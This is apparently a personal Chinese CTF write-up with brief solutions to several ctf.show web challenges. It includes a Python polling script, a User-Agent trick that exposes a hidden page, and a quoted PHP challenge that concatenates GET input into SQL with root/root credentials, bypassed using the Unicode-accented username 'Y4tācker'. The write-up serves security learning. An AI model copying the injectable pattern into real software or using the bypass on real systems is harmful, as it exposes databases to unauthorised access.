神仙姐姐
抓包发现每次都要访问,但是这里没给flag
写个脚本
import requests
url = "http://f01d9cfa-217d-48e4-a704-8535393132ec.challenge.ctf.show/sx.php"
cookie = {'PHPSESSID': 'fqthvtom32oa5q85em8l2c4787'}
for i in range(0, 1000):
res = requests.get(url=url, cookies=cookie)
if ("j0ke" in res.text):
print("not flag")
else:
print(res.text)
break
跑了第一遍发现我脚本条件写反了,笑死了重新开了一个靶机
阿拉丁
这道题很简单,你就问我的阿拉丁灯神就行了
拼接flag
迷
看看有没有注册的页面结果有
flag
飘啊飘
我以为是xss注入
把User-Agent改为Android,然后发现有回显html文件
访问mb.html
Ez_Mysqli
<?php
highlight_file(__FILE__);
//flag在字段Y4tacker里
$servername = "127.0.0.1";
$username = "root";
$password = "root";
$dbname = "ctfshow";
$conn = new mysqli($servername, $username, $password, $dbname);
mysqli_set_charset($conn,'utf8');
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
if(stripos($_GET['username'],'Y4tacker')!==false){
die("爬");
}
else{
$username=$_GET['username'];
}
if (strlen($username)>=11){
die("爬");
}
if (preg_match("/,|#|-|\+|\'|\"|or|union|select|show|\\\\/im",$username)){
die("爬");
}
$sql = "select * from `yyds` where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo($row['password']);
}
}
$conn->close();
?>
sql注入的话我们是不够的字符长度不够长我们只能想办法绕过用户名
我本来值打算用半角数字来绕过的结果不行
只能加调了
?username=Y4tācker
from pypinyin import pinyin, Style
# 转换带声调的拼音
result = pinyin('他', style=Style.TONE)
print(result)